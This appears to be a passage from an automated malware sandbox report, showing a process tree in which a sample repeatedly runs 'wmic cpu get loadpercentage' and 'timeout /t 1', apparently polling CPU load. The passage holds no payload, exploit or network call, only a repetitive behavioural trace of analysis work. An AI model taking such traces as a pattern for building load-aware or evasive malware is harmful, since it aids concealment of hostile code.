                                                                                                                                                                                  PID:4332
                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:3756
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1412
                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:2940
                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                      PID:3384
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:2224
                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1624
                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                          PID:2408
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:3460
                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:3884
                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                              PID:4896
                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:4416
                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1444
                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                  PID:1096
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:4632
                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:512
                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                      PID:2780
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:4208
                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4340
                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                          PID:4496
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:4228
                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4260
                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                              PID:4908
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:4056
                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:924
                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                  PID:1608
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:4712
                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1312
                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                      PID:4352
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:4376
                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:3696
                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:3604
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:5016
                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:4816
                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                PID:3872
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:2052
                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:316
                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                    PID:4860
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:3624
                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:436
                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                        PID:1328
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:712
                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:1076
                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                            PID:1016
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1380
                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:1372
                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1804
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1964
                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:2792
                                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                      PID:3492
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:3764
                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:3436
                                                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:3520
                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:3344
                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:2172
                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                PID:5000
                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:4300
                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:3308
                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                    PID:1324
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:2464
                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:2924
                                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                        PID:3472
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:2520
                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:3608
                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                            PID:2660
                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:4336
                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:3800
                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                PID:1564
                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:812
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:4900
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:4332
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:192
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:200
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                          timeout /t 1
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                          PID:1384
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:4888
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:3036
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                              PID:4652
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:488
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:4320
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                  timeout /t 1
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                  PID:4112
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:3972
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:4304
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                      timeout /t 1
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:2128
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:3772
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:500
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                            PID:1816
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1960
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:4036
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                PID:1460
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:2440
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:2496
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                    PID:4372
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:4908
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1200
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                        PID:2580
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:872
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:3568
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                            PID:348
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:4352
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:4216
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                PID:3696
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:956
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:2904
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                    PID:3456
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:1304
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:3872
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:1344
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:3552
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:4860
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                              timeout /t 1
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:592
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:2424
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:2432
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                    PID:2272
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1072
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:984
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                        PID:1424
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2892
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1368
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                            PID:1828
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:2716
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:2656
